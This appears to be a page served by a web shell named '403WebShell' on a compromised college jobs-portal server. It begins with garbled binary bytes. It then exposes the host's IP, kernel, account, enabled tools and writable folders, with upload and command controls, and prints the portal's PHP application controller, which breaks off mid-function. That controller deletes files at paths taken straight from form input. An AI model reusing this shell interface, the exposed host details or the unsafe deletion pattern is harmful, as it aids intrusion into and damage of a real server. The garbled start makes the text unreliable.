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B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 43.205.77.33  /  Your IP : 216.73.216.90
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : dbcollege ( 1086)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dbcollege/www/jobs/application/controllers/user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dbcollege/www/jobs/application/controllers/user/Application.php
<?php

/**

 *
 * @author Softpro India Pvt. Ltd
 */
class Application extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("user/VacancyManagement");
        $this->load->model("user/ApplicationManagement");
        $this->load->model("user/DashboardManagement");
        $this->load->model("user/CategoryManagement");
        $this->load->model("user/DepartmentManagement");
        $this->load->model("user/UserManagement");
        $this->load->model("user/LocationManagement");
        $this->load->model("admin/CourseManagement");
    }

    public function applyForPosts() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $uniqueApplicationID = $this->session->userdata("application_id");
            $formAction;
            if ($this->session->userdata("application_id") != null || $this->session->userdata("application_id") != "") {
                $viewData["alreadyAppliedVacanciesDeatils"] = $this->ApplicationManagement->getApplicationsByApplicationDispID($uniqueApplicationID)->result();
                $viewData["formAction"] = "user/Application/updateAppliedPosts";
                $viewData["app_details"] = $this->ApplicationManagement->getUserApplicationDeatilsID($userData["user_id"], $uniqueApplicationID)->result();
            } else {
                $viewData["alreadyAppliedVacanciesDeatils"] = array();
                $viewData["formAction"] = "user/Application/saveAppliedPosts";
                $viewData["app_details"] = array();
            }
            $curYear = date("Y");
            $currentDate = date("Y-m-d");
            //$vacancy = $this->VacancyManagement->getVacancies($currentDate, $userData["user_id"])->result();
            
            $vacancy = $this->VacancyManagement->getVacancies($currentDate,$userData["user_id"])->result();
            //echo $this->db->last_query();
            //print_r($vacancy);
            //exit;
            if (sizeof($vacancy) > 0) {
                $viewData["categories"] = $this->CategoryManagement->getCategories("DESC")->result();
                $viewData["vacancies"] = $vacancy;
                $viewData["vacancyStatsIsNull"] = false;
                //$viewData["departments"] = $this->DepartmentManagement->getDepartments()->result();
                $viewData["departments"] = $this->VacancyManagement->getDistictDepartmentOfAppliedVacancy($currentDate)->result();
            } else {
                $viewData["vacancyStatsIsNull"] = true;
            }
            if (sizeof($this->ApplicationManagement->checkUserApplicationAvaibility($userData["user_id"], $uniqueApplicationID)->result()) > 0) {
                $viewData["steps"] = $this->DashboardManagement->getStepsDetails()->result();
            }
            $viewData["firstStep"] = $this->DashboardManagement->getStepsDetails(1)->result()[0];
            $this->load->view("user/applyForPost", $viewData);
        } else {
            redirect("Home");
        }
    }

    public function saveAppliedPosts() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $selectedVacancies = $this->input->post("vacancies");
            if (!empty($selectedVacancies)) {
                $userData = $this->session->userdata("userData");
                $app_ids = array();
                $applications = array();
                $uniqueApplicationID = "APP" . substr(time(), 4);
                $this->db->trans_begin(); //transaction start
                foreach ($selectedVacancies as $vm_id) {
                    $array = array(
                        "vm_id" => $vm_id,
                        "um_id" => $userData["user_id"],
                        "am_disp_id" => $uniqueApplicationID,
                        "am_date" => date("Y-m-d H:i:s")
                    );
                    $app_id = $this->ApplicationManagement->saveApplications($array);
                    array_push($app_ids, $app_id);
                }
                $application_details = array("cdate" => $userData["user_dob"], "email" => $userData["user_email"], "um_id" => $userData["user_id"], "regdt" => date("Y-m-d"), "step1" => "T");
                $app_details_id = $this->ApplicationManagement->saveApplicationDetails($application_details);
                foreach ($app_ids as $id) {
                    $this->ApplicationManagement->updateApplication(array("app_details_id" => $app_details_id), $id);
                }
                $this->UserManagement->updateUser(array("um_id" => $userData["user_id"], "current_application_id" => $uniqueApplicationID));

                $this->db->trans_complete();    //transaction end

                $this->session->set_userdata("application_id", $uniqueApplicationID);
                if ($this->db->trans_status() !== FALSE) {
                    $this->session->set_flashdata("successMessage", "Applied Vacancy Data Is Saved Successfully.");
                    $this->db->trans_commit();
                    redirect("user/Dashboard");
                } else {
                    $this->session->set_flashdata("errorMessage", "Something Went Wrong. Try Again later.");
                    $this->db->trans_rollback();
                    $this->applyForPosts();
                }
            } else {
                $this->session->set_flashdata("errorMessage", "Select Atleast 1 Vacancy To Proceed.");
                $this->applyForPosts();
            }
        } else {
            redirect("Home");
        }
    }

    public function updateAppliedPosts() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $selectedVacancies = $this->input->post("vacancies");
            $uniqueApplicationID = $this->session->userdata("application_id");
            $app_details_id = $this->input->post("app_details_id");
            if (!empty($selectedVacancies)) {
                //$app_details_id = $this->ApplicationManagement->getApplicationsByApplicationDispID($uniqueApplicationID)->result()[0]->app_details_id;
                if ($this->ApplicationManagement->deleteApplicationsUsingApplicationDispID($uniqueApplicationID)) {
                    $this->db->trans_start(); //transaction start
                    foreach ($selectedVacancies as $vm_id) {
                        $array = array(
                            "vm_id" => $vm_id,
                            "um_id" => $userData["user_id"],
                            "am_disp_id" => $uniqueApplicationID,
                            "am_date" => date("Y-m-d H:i:s"),
                            "app_details_id" => $app_details_id
                        );
                        $this->ApplicationManagement->saveApplications($array);
                    }
                    $this->db->trans_complete();    //transaction end
                    if ($this->db->trans_status() !== FALSE) {
                        $this->session->set_flashdata("successMessage", "Applied Vacancy Data Is updated Successfully.");
                        $this->db->trans_commit();
                        redirect("user/Dashboard");
                    } else {
                        $this->session->set_flashdata("errorMessage", "Something Went Wrong. Try Again later.");
                        $this->db->trans_rollback();
                        $this->applyForPosts();
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Update Applied Posts. Try Again later.");
                    $this->applyForPosts();
                }
            } else {
                $this->session->set_flashdata("errorMessage", "Select Atleast 1 Vacancy To Proceed.");
                $this->applyForPosts();
            }
        } else {
            redirect("Home");
        }
    }

    public function personalDetails() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $viewData["states"] = $this->LocationManagement->getStates()->result();
            $viewData["secondStep"] = $this->DashboardManagement->getStepsDetails(2)->result()[0];
            $viewData["app_details"] = $this->ApplicationManagement->getUserApplicationDeatilsID($userData["user_id"])->result()[0];
            $viewData["firstStep"] = $this->DashboardManagement->getStepsDetails(1)->result()[0]; //compulsaory in all steps
            $this->load->view("user/personalDetails", $viewData);
        } else {
            redirect("Home");
        }
    }

    public function savePersonalDetails() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $this->form_validation->set_rules("fullName", "full name", "required", array("required" => "Enter Full Name."));
            $this->form_validation->set_rules("gender", "gender", "required", array("required" => "Choose Gender."));
            $this->form_validation->set_rules("dob", "D.O.B.", "required", array("required" => "Select D.O.B."));
            $this->form_validation->set_rules("maritalStatus", "marital status", "required", array("required" => "Select Marital Status."));
            $this->form_validation->set_rules("fatherName", "father name", "required", array("required" => "Enter Father Name."));
            $this->form_validation->set_rules("mobile", "mobile", "required|numeric", array("required" => "Enter Mobile.", "numeric" => "Mobile Must Be In Digits."));
            $this->form_validation->set_rules("email", "email", "required", array("required" => "Enter Email."));
            $this->form_validation->set_rules("p_address", "present street / appartment no", "required", array("required" => "Enter Present Street / Appartment No."));
            $this->form_validation->set_rules("p_state", "present state / appartment no", "required", array("required" => "Enter Present State."));
            $this->form_validation->set_rules("p_city", "present city", "required", array("required" => "Enter Present City."));
            $this->form_validation->set_rules("p_pincode", "present pincode", "required", array("required" => "Enter Present Pincode"));
            $this->form_validation->set_rules("per_address", "permanent street / appartment no", "required", array("required" => "Enter Permanent Street / Appartment No."));
            $this->form_validation->set_rules("per_state", "permanent state / appartment no", "required", array("required" => "Enter Permanent State."));
            $this->form_validation->set_rules("per_city", "permanent city", "required", array("required" => "Enter Permanent City."));
            $this->form_validation->set_rules("per_pincode", "permanent pincode", "required", array("required" => "Enter Permanent Pincode"));
            $this->form_validation->set_rules("aadhar", "adhar", "numeric", array("numeric" => "Only Digits Are Allowed In Aadhar Number. "));
            $photo;
            $sign;
            if ($this->form_validation->run() == false) {
                $this->personalDetails();
            } else if ($this->input->post("step2") == 'F') {
                if (empty($_FILES['photo']['name'])) {
                    $this->form_validation->set_rules('photo', 'photograph', 'required', array("required" => "Select An Images To Upload As Photograph."));
                    $this->form_validation->run();
                    $this->personalDetails();
                } else if (empty($_FILES['sign']['name'])) {
                    $this->form_validation->set_rules('sign', 'signature', 'required', array("required" => "Select An Images To Upload As Signature."));
                    $this->form_validation->run();
                    $this->personalDetails();
                } else {
                    $fileConfig["upload_path"] = "./assets/user/uploads/photo_sign/";
                    $fileConfig["allowed_types"] = "jpg|png|jpeg|webp";
                    $fileConfig["max_size"] = "512";
                    $fileConfig["file_ext_tolower"] = TRUE;
                    $fileConfig["encrypt_name"] = TRUE;

                    $this->load->library("upload", $fileConfig); //library to upload data
                    $userData = $this->session->userdata("userData");
                    $photo;
                    $sign;
                    if (!$this->upload->do_upload("photo")) {
                        $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                        $this->personalDetails();
                    } else {
                        $photo = $this->upload->data()["file_name"];
                    }
                    if (!$this->upload->do_upload("sign")) {
                        $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                        $this->personalDetails();
                    } else {
                        $sign = $this->upload->data()["file_name"];
                    }
                    $userData = $this->session->userdata("userData");
                    $application_personal_Details = array(
                        "photo" => "assets/user/uploads/photo_sign/" . $photo,
                        "sig" => "assets/user/uploads/photo_sign/" . $sign,
                        "cper" => addslashes(trim($this->input->post("fullName"))),
                        "gender" => addslashes(trim($this->input->post("gender"))),
                        "m_status" => addslashes(trim($this->input->post("maritalStatus"))),
                        "fanm" => addslashes(trim($this->input->post("fatherName"))),
                        "mailadd" => addslashes(trim($this->input->post("p_address"))),
                        "mailing_city_id" => addslashes(trim($this->input->post("p_city"))),
                        "mailing_state_id" => addslashes(trim($this->input->post("p_state"))),
                        "cpin" => addslashes(trim($this->input->post("p_pincode"))),
                        "peradd" => addslashes(trim($this->input->post("per_address"))),
                        "per_city_id" => addslashes(trim($this->input->post("per_city"))),
                        "per_state_id" => addslashes(trim($this->input->post("per_state"))),
                        "ppin" => addslashes(trim($this->input->post("per_pincode"))),
                        "pno" => addslashes(trim($this->input->post("mobile"))),
                        "email" => addslashes(trim($this->input->post("email"))),
                        "pan" => addslashes(trim($this->input->post("pan"))),
                        "adh" => addslashes(trim($this->input->post("aadhar"))),
                        "cdate" => date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post("dob")))),
                        "step2" => "T"
                    );
                    $user_details = array(
                        "um_photograph" => "assets/user/uploads/photo_sign/" . $photo,
                        "um_sign" => "assets/user/uploads/photo_sign/" . $sign,
                        "um_name" => addslashes(trim($this->input->post("fullName"))),
                        "um_gender" => addslashes(trim($this->input->post("gender"))),
                        "um_mailing_address" => addslashes(trim($this->input->post("p_address"))),
                        "um_mail_city_id" => addslashes(trim($this->input->post("p_city"))),
                        "um_mail_state_id" => addslashes(trim($this->input->post("p_state"))),
                        "um_mail_pincode" => addslashes(trim($this->input->post("p_pincode"))),
                        "um_per_address" => addslashes(trim($this->input->post("per_address"))),
                        "um_per_city_id" => addslashes(trim($this->input->post("per_city"))),
                        "um_per_state_id" => addslashes(trim($this->input->post("per_state"))),
                        "um_per_pincode" => addslashes(trim($this->input->post("per_pincode"))),
                        "um_mobile" => addslashes(trim($this->input->post("mobile"))),
                        "um_dob" => date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post("dob")))),
                        "um_email" => addslashes(trim($this->input->post("email"))),
                        "um_pan" => addslashes(trim($this->input->post("pan"))),
                        "um_aadhar" => addslashes(trim($this->input->post("aadhar"))),
                        "um_id" => $userData["user_id"]
                    );
                    $this->db->trans_start();

                    $this->ApplicationManagement->upudateApplicationDetails($application_personal_Details, $this->input->post("app_details_id"));
                    $this->UserManagement->updateUser($user_details, $this->input->post("app_details_id"));

                    $this->db->trans_complete();
                    if ($this->db->trans_status() !== false) {
                        $this->session->set_flashdata('successMessage', 'Persoanl Details Updated Successfully');
                        redirect("user/Dashboard");
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Update Persoanl Details.");
                        $this->personalDetails();
                    }
                }
            } else if ($this->input->post("step2") == 'T') {
                $fileConfig["upload_path"] = "./assets/user/uploads/photo_sign/";
                $fileConfig["allowed_types"] = "jpg|png|jpeg|webp";
                $fileConfig["max_size"] = "512";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["encrypt_name"] = TRUE;
                $this->load->library("upload", $fileConfig); //library to upload data
                if (empty($_FILES['photo']['name'])) {
                    //not updated the photo
                    $photo = $this->input->post("oldPhoto");
                } else {
                    //updated the photo
                    if (!$this->upload->do_upload("photo")) {
                        $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                        redirect("user/Application/personalDetails");
                    } else {
                        $photo = "assets/user/uploads/photo_sign/" . $this->upload->data()["file_name"];
                        if (file_exists("./" . $this->input->post("oldPhoto"))) {
                            unlink("./" . $this->input->post("oldPhoto"));
                        }
                    }
                }

                if (empty($_FILES['sign']['name'])) {
                    //not updated the photo
                    $sign = $this->input->post("oldSign");
                } else {
                    //updated the photo
                    if (!$this->upload->do_upload("sign")) {
                        $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                        $this->personalDetails();
                    } else {
                        $sign = "assets/user/uploads/photo_sign/" . $this->upload->data()["file_name"];
                        if (file_exists("./" . $this->input->post("oldSign"))) {
                            unlink("./" . $this->input->post("oldSign"));
                        }
                    }
                }
                $userData = $this->session->userdata("userData");
                $application_personal_Details = array(
                    "photo" => $photo,
                    "sig" => $sign,
                    "cper" => addslashes(trim($this->input->post("fullName"))),
                    "gender" => addslashes(trim($this->input->post("gender"))),
                    "m_status" => addslashes(trim($this->input->post("maritalStatus"))),
                    "fanm" => addslashes(trim($this->input->post("fatherName"))),
                    "mailadd" => addslashes(trim($this->input->post("p_address"))),
                    "mailing_city_id" => addslashes(trim($this->input->post("p_city"))),
                    "mailing_state_id" => addslashes(trim($this->input->post("p_state"))),
                    "cpin" => addslashes(trim($this->input->post("p_pincode"))),
                    "peradd" => addslashes(trim($this->input->post("per_address"))),
                    "per_city_id" => addslashes(trim($this->input->post("per_city"))),
                    "per_state_id" => addslashes(trim($this->input->post("per_state"))),
                    "ppin" => addslashes(trim($this->input->post("per_pincode"))),
                    "pno" => addslashes(trim($this->input->post("mobile"))),
                    "email" => addslashes(trim($this->input->post("email"))),
                    "pan" => addslashes(trim($this->input->post("pan"))),
                    "adh" => addslashes(trim($this->input->post("aadhar"))),
                    "cdate" => date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post("dob")))),
                    "step2" => "T"
                );
                $user_details = array(
                    "um_photograph" => $photo,
                    "um_sign" => $sign,
                    "um_name" => addslashes(trim($this->input->post("fullName"))),
                    "um_gender" => addslashes(trim($this->input->post("gender"))),
                    "um_mailing_address" => addslashes(trim($this->input->post("p_address"))),
                    "um_mail_city_id" => addslashes(trim($this->input->post("p_city"))),
                    "um_mail_state_id" => addslashes(trim($this->input->post("p_state"))),
                    "um_mail_pincode" => addslashes(trim($this->input->post("p_pincode"))),
                    "um_per_address" => addslashes(trim($this->input->post("per_address"))),
                    "um_per_city_id" => addslashes(trim($this->input->post("per_city"))),
                    "um_per_state_id" => addslashes(trim($this->input->post("per_state"))),
                    "um_per_pincode" => addslashes(trim($this->input->post("per_pincode"))),
                    "um_mobile" => addslashes(trim($this->input->post("mobile"))),
                    "um_dob" => date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post("dob")))),
                    "um_email" => addslashes(trim($this->input->post("email"))),
                    "um_pan" => addslashes(trim($this->input->post("pan"))),
                    "um_aadhar" => addslashes(trim($this->input->post("aadhar"))),
                    "um_id" => $userData["user_id"]
                );
                //print_r($application_personal_Details);
                $this->db->trans_start();

                $this->ApplicationManagement->upudateApplicationDetails($application_personal_Details, $this->input->post("app_details_id"));
                $this->UserManagement->updateUser($user_details, $this->input->post("app_details_id"));

                $this->db->trans_complete();
                if ($this->db->trans_status() !== false) {
                    $this->session->set_flashdata('successMessage', 'Persoanl Details Updated Successfully');
                    redirect("user/Dashboard");
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Update Persoanl Details.");
                    $this->personalDetails();
                }
            }
        } else {
            redirect("Home");
        }
    }

    public function addQualifications() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $viewData["thirdStep"] = $this->DashboardManagement->getStepsDetails(3)->result()[0];
            $viewData["pgCourses"] = $this->CourseManagement->getCoursesByType("PG")->result();
            $viewData["ugCourses"] = $this->CourseManagement->getCoursesByType("UG")->result();
            $viewData["courses"] = $this->CourseManagement->getCourses("T")->result();
            $viewData["app_details"] = $this->ApplicationManagement->getUserApplicationDeatilsID($userData["user_id"])->result()[0];
            $viewData["firstStep"] = $this->DashboardManagement->getStepsDetails(1)->result()[0]; //compulsaory in all steps
            $this->load->view("user/addQualifications", $viewData);
        } else {
            redirect("Home");
        }
    }

    public function saveQualifications() {
        if ($this->sessionvalidator->validateSession("userData")) {

            $this->form_validation->set_rules("univ10", "high school / 10th board or university", "required", array("required" => "Enter High School / 10th Board Or University."));
            $this->form_validation->set_rules("subject10", "high school / 10th subjects", "required", array("required" => "Enter High School / 10th Subjects."));
            $this->form_validation->set_rules("year10", "high school / 10th passing year", "required", array("required" => "Enter High School / 10th Passing Year."));
            $this->form_validation->set_rules("per10", "high school / 10th cgpa or marks percentage ", "required", array("required" => "Enter High School / 10th CGPA Or Percentage."));
            $this->form_validation->set_rules("div10", "high school / 10th division.", "required", array("required" => "Enter High School / 10th Division."));

            $this->form_validation->set_rules("univ12", "intermidiate / 12th board or university", "required", array("required" => "Enter Intermidiate / 12th Board Or University."));
            $this->form_validation->set_rules("subject12", "intermidiate / 12th subjects", "required", array("required" => "Enter Intermidiate / 12th Subjects."));
            $this->form_validation->set_rules("year12", "intermidiate / 12th passing year", "required", array("required" => "Enter Intermidiate / 12th Passing Year."));
            $this->form_validation->set_rules("per12", "intermidiate / 12th cgpa or marks percentage", "required", array("required" => "Enter Intermidiate / 12th CGPA Or Percentage."));
            $this->form_validation->set_rules("div12", "intermidiate / 12th division.", "required", array("required" => "Enter Intermidiate / 12th Division."));

            $this->form_validation->set_rules("exam1", "graduation exam name", "required", array("required" => "Select Graduation Exam Name."));
            if ($this->input->post("exam1") == "other") {
                $this->form_validation->set_rules("other1", "graduation other exam name", "required", array("required" => "Enter Graduation Other Exam Name."));
            }
            $this->form_validation->set_rules("univ1", "graduation university", "required", array("required" => "Enter Graduation University."));
            $this->form_validation->set_rules("subject1", "graduation subjects", "required", array("required" => "Enter Graduation Subjects."));
            $this->form_validation->set_rules("year1", "graduation passing year", "required", array("required" => "Enter Graduation Passing Year."));
            $this->form_validation->set_rules("per1", "graduation cgpa or marks percentage", "required", array("required" => "Enter Graduation CGPA Or Percentage."));
            $this->form_validation->set_rules("div1", "graduation division.", "required", array("required" => "Enter Graduation Division."));

            $this->form_validation->set_rules("exam2", "post graduation exam name", "required", array("required" => "Select Post Graduation Exam Name."));
            if ($this->input->post("exam2") == "other") {
                $this->form_validation->set_rules("other2", " post graduation other exam name", "required", array("required" => "Enter Post Graduation Other Exam Name."));
            }
            $this->form_validation->set_rules("univ2", "post graduation university", "required", array("required" => "Enter Post Graduation University."));
            $this->form_validation->set_rules("subject2", "post graduation subjects", "required", array("required" => "Enter Post Graduation Subjects."));
            $this->form_validation->set_rules("year2", "post graduation passing year", "required", array("required" => "Enter Post Graduation Passing Year."));
            $this->form_validation->set_rules("per2", "post graduation cgpa or marks percentage", "required", array("required" => "Enter Post Graduation CGPA Or Percentage."));
            $this->form_validation->set_rules("div2", "post graduation division.", "required", array("required" => "Enter Post Graduation Division."));
            $this->form_validation->set_rules("phd", "select phd.", "required", array("required" => "Select P.H.D. Status."));

            if ($this->input->post("phd") != "NA") {
                $this->form_validation->set_rules("phuniv", "p.h.d. university", "required", array("required" => "Enter P.H.D. University."));
                $this->form_validation->set_rules("phtopic", "p.h.d. topic", "required", array("required" => "Enter P.H.D. Topic."));
                $this->form_validation->set_rules("phstream", "p.h.d. stream", "required", array("required" => "Select P.H.D. Stream."));
                $this->form_validation->set_rules("phyear", "p.h.d. year", "required", array("required" => "Enter P.H.D. year."));
                if ($this->input->post("phstream") == "other") {
                    $this->form_validation->set_rules("phother", "p.h.d. other stream ", "required", array("required" => "Enter P.H.D. Other Stream."));
                }
            }
            $this->form_validation->set_rules("net", "net Status.", "required", array("required" => "Select NET Status."));

            if ($this->input->post("net") == "T") {
                $this->form_validation->set_rules("netstream", "net stream", "required", array("required" => "Select NET Stream."));
                $this->form_validation->set_rules("netyear", "net qulifying year", "required", array("required" => "Select NET Qualifying Year."));
                if ($this->input->post("netstream") == "other") {
                    $this->form_validation->set_rules("netother", "net other stream ", "required", array("required" => "Enter NET Other Stream."));
                }
            }


            if ($this->form_validation->run() == false) {
                $this->addQualifications();
            } else {
                $fileConfig["upload_path"] = "./assets/user/uploads/docs/";
                $fileConfig["allowed_types"] = "pdf";
                $fileConfig["max_size"] = "2048";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["encrypt_name"] = TRUE;
                $docs = "NA";
                $this->load->library("upload", $fileConfig); //library to upload data
                //echo $this->input->post("oldDoc");
                //exit;
                //exam names
                $exam10 = $this->input->post("exam10");
                $exam12 = $this->input->post("exam12");
                $exam1 = $this->input->post("exam1");       //for  graduation
                $exam2 = $this->input->post("exam2");       //for post graduation
                $exam0 = $this->input->post("exam0");       //for other graduation
                //university / boards names
                $univ10 = addslashes(trim($this->input->post("univ10")));
                $univ12 = addslashes(trim($this->input->post("univ12")));
                $univ1 = addslashes(trim($this->input->post("univ1")));       //for  graduation
                $univ2 = addslashes(trim($this->input->post("univ2")));       //for post graduation
                $univ0 = addslashes(trim($this->input->post("univ0")));       //for other graduation
                //subjects 
                $subject10 = addslashes(trim($this->input->post("subject10")));
                $subject12 = addslashes(trim($this->input->post("subject12")));
                $subject1 = addslashes(trim($this->input->post("subject1")));        //for  graduation
                $subject2 = addslashes(trim($this->input->post("subject2")));        //for post graduation
                $subject0 = addslashes(trim($this->input->post("subject0")));        //for other graduation
                //years
                $year10 = $this->input->post("year10");
                $year12 = $this->input->post("year12");
                $year1 = $this->input->post("year1");      //for  graduation
                $year2 = $this->input->post("year2");      //for post graduation
                $year0 = $this->input->post("year0");      //for other graduation
                //percentages
                $per10 = $this->input->post("per10");
                $per12 = $this->input->post("per12");
                $per1 = $this->input->post("per1");        //for  graduation
                $per2 = $this->input->post("per2");        //for post graduation
                $per0 = $this->input->post("per0");        //for other graduation
                //divisions
                $div10 = $this->input->post("div10");
                $div12 = $this->input->post("div12");
                $div1 = $this->input->post("div1");        //for  graduation
                $div2 = $this->input->post("div2");        //for post graduation
                $div0 = $this->input->post("div0");        //for other graduation
                //others

                $other1 = addslashes(trim($this->input->post("other1")));        //for  graduation
                $other2 = addslashes(trim($this->input->post("other2")));        //for post graduation
                $other0 = addslashes(trim($this->input->post("other0")));        //for other graduation
                //phd variable

                $phd = $this->input->post("phd");
                $phuniv = addslashes(trim($this->input->post("phuniv")));
                $phtopic = addslashes(trim($this->input->post("phtopic")));
                $phstream = $this->input->post("phstream");
                $phyear = $this->input->post("phyear");
                $phother = addslashes(trim($this->input->post("phother")));

                //net varibales 
                $net = $this->input->post("net");
                $netstream = $this->input->post("netstream");
                $netyear = $this->input->post("netyear");
                $netother = addslashes(trim($this->input->post("netother")));




                if ($year10 > $year12) {
                    $this->session->set_flashdata("errorMessage", "Intermidiate / 12th Passing Year Must Be Of After 1oth Passing Year.");
                    $this->addQualifications();
                } else if ($year12 > $year1) {
                    $this->session->set_flashdata("errorMessage", "Graduation Passing Year Must Be Of After 12th Passing Year.");
                    $this->addQualifications();
                } else if ($year1 > $year2) {
                    $this->session->set_flashdata("errorMessage", "Post Graduation Passing Year Must Be Of After Graduation Passing Year.");
                    $this->addQualifications();
                } else {
                    if (empty($_FILES['docs']['name'])) {
                        $docs = ($this->input->post("oldDoc") != null || $this->input->post("oldDoc") != "null") ? $this->input->post("oldDoc") : "NA";
                    } else {
                        if ($this->input->post("oldDoc") != null || $this->input->post("oldDoc") != "NA" || $this->input->post("oldDoc") != "") {
                            if (!$this->upload->do_upload("docs")) {
                                $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                                redirect("user/Application/addQualifications");
                            } else {
                                $docs = "assets/user/uploads/docs/" . $this->upload->data()["file_name"];
                                if (file_exists("./" . $this->input->post("oldDoc"))) {
                                    unlink("./" . $this->input->post("oldDoc"));
                                }
                            }
                        } else {
                            if (!$this->upload->do_upload("docs")) {
                                $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                                redirect("user/Application/addQualifications");
                            } else {
                                $docs = "assets/user/uploads/docs/" . $this->upload->data()["file_name"];
                            }
                        }
                    }
                    $applicationData = array(
                        "app_details_id" => $this->input->post("app_details_id"),
                        "exam10" => $exam10,
                        "univ10" => $univ10,
                        "subject10" => $subject10,
                        "per10" => $per10,
                        "div10" => $div10,
                        "year10" => $year10,
                        "exam12" => $exam12,
                        "univ12" => $univ12,
                        "subject12" => $subject12,
                        "per12" => $per12,
                        "div12" => $div12,
                        "year12" => $year12,
                        "exam1" => $exam1,
                        "univ1" => $univ1,
                        "subject1" => $subject1,
                        "per1" => $per1,
                        "div1" => $div1,
                        "year1" => $year1,
                        "other1" => ($other1 == null || $other1 == "") ? "" : $other1,
                        "exam2" => $exam2,
                        "univ2" => $univ2,
                        "subject2" => $subject2,
                        "per2" => $per2,
                        "div2" => $div2,
                        "year2" => $year2,
                        "other2" => ($other2 == null || $other2 == "") ? "" : $other2,
                        "exam0" => ($exam0 == null || $exam0 == "") ? "" : $exam0,
                        "univ0" => ($univ0 == null || $univ0 == "") ? "" : $univ0,
                        "subject0" => ($subject0 == null || $subject0 == "") ? "" : $subject0,
                        "per0" => ($per0 == null || $per0 == "") ? "" : $per0,
                        "div0" => ($div0 == null || $div0 == "") ? "" : $div0,
                        "year0" => ($year0 == null || $year0 == "") ? "" : $year0,
                        "other0" => ($other0 == null || $other0 == "") ? "" : $other0,
                        "phd" => ($phd == null || $phd == "") ? "" : $phd,
                        "phuniv" => ($phuniv == null || $phuniv == "") ? "" : $phuniv,
                        "phtopic" => ($phtopic == null || $phtopic == "") ? "" : $phtopic,
                        "phstream" => ($phstream == null || $phstream == "") ? "" : $phstream,
                        "phyear" => ($phyear == null || $phyear == "") ? "" : $phyear,
                        "phother" => ($phother == null || $phother == "") ? "" : $phother,
                        "net" => ($net == null || $net == "") ? "" : $net,
                        "netstream" => ($netstream == null || $netstream == "") ? "" : $netstream,
                        "netyear" => ($netyear == null || $netyear == "") ? "" : $netyear,
                        "netother" => ($netother == null || $netother == "") ? "" : $netother,
                        "docs" => ($docs == null || $docs == "") ? "" : $docs,
                        "step3" => "T"
                    );
                    //print_r($applicationData);
                    $this->db->trans_start();
                    $this->ApplicationManagement->upudateApplicationDetails($applicationData, $this->input->post("app_details_id"));
                    $this->db->trans_complete();
                    if ($this->db->trans_status() !== false) {
                        $this->session->set_flashdata("successMessage", "Qualification Data Updated Successfully.");
                        redirect("user/Dashboard");
                    } else {
                        $this->session->set_flashdata("successMessage", "Failed To Update Qualification Data.");
                        redirect("user/Application/addQualifications");
                    }
                }
            }
        } else {
            redirect("Home");
        }
    }

    public function researchAndPublication() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $viewData["forthStep"] = $this->DashboardManagement->getStepsDetails(4)->result()[0];
            $viewData["app_details"] = $this->ApplicationManagement->getUserApplicationDeatilsID($userData["user_id"])->result()[0];
            $viewData["firstStep"] = $this->DashboardManagement->getStepsDetails(1)->result()[0]; //compulsaory in all steps
            $this->load->view("user/researchAndPublication", $viewData);
        } else {
            redirect("Home");
        }
    }

    public function saveResearchAndPublication() {
        $journal = $this->input->post("journal");
        $workshop = $this->input->post("workshop");
        $books = $this->input->post("books");
        $chapters = $this->input->post("chapters");
        $seminar = $this->input->post("seminar");
        $conference = $this->input->post("conference");
        $extra = $this->input->post("extra");
        if (($journal == null || $journal == "") && ($workshop == null || $workshop == "") && ($books == null || $books == "") && ($chapters == null || $chapters == "") && ($seminar == null || $seminar == "") && ($conference == null || $conference == "") && ($extra == null || $extra == "")) {
            redirect("user/Dashboard");
        } else {
            $applicationData = array(
                "journal" => ($journal == null || $journal == "") ? 0 : $journal,
                "workshop" => ($workshop == null || $workshop == "") ? 0 : $workshop,
                "books" => ($books == null || $books == "") ? 0 : $books,
                "chapters" => ($chapters == null || $chapters == "") ? 0 : $chapters,
                "seminar" => ($seminar == null || $seminar == "") ? 0 : $seminar,
                "conference" => ($conference == null || $conference == "") ? 0 : $conference,
